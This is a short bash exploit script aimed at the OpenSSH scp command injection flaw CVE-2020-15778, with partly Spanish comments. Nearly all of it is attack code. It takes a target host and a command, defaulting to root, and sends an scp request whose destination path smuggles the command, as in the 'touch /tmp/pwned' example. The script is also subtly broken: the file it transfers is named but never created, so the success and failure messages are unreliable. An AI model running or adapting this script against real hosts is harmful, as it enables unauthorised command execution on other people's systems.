CVE-2020-15778_exploit.sh

#!/bin/bash
# CVE-2020-15778_exploit.sh
# Exploit for OpenSSH Client Command Injection Vulnerability

TARGET="$1"
PORT="${2:-22}"
USERNAME="${3:-root}"
BACKDOOR_COMMAND="${4:-id}"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target> [port] [username] [command]"
    echo "Example: $0 192.168.1.100 22 root 'touch /tmp/pwned'"
    exit 1
fi

echo "[+] Exploiting CVE-2020-15778 on $TARGET:$PORT"
echo "[+] Username: $USERNAME"
echo "[+] Command: $BACKDOOR_COMMAND"

# Crear archivo malicioso que será ejecutado
MALICIOUS_FILE="exploit_$(date +%s).txt"

# El payload: el nombre del archivo contiene el comando a ejecutar
PAYLOAD="'|$BACKDOOR_COMMAND #"

echo "[+] Sending malicious SCP request..."
echo "[+] Payload: $PAYLOAD"

# Intentar la transferencia SCP maliciosa
scp -P $PORT $MALICIOUS_FILE $USERNAME@$TARGET:"$PAYLOAD" 2>/dev/null

if [ $? -eq 0 ]; then
    echo "[+] Exploit completed successfully!"
else
    echo "[-] Exploit may have failed or command executed silently"
    echo "[+] Check if command was executed on target"
fi

# Limpiar
rm -f $MALICIOUS_FILE 2>/dev/null